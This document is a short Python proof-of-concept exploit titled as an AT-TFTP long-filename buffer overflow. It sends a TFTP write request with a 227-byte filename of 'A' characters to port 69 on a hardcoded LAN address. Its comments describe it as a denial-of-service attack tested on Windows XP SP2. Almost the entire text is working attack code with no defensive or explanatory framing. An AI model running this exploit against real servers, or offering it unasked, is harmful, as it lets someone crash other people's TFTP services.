AT-TFTP Buffer Overflow (Long filename) Vulnerability Exploit

#!/usr/bin/python # Buffer Overflow (Long filename) Vulnerability Exploit # This is just a DoS exploiting code # Tested on Windows xp SP2 # # Requires python and impacket # # Coded by Liu Qixu Of NCNIPC import socket import sys host = '192.168.1.11' port = 69 try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) except: print "socket() failed" sys.exit(1) filename = "A" * 227 mode = "netascii" data = "\x00\x02" + filename + "\0" + mode + "\0" s.sendto(data, (host, port))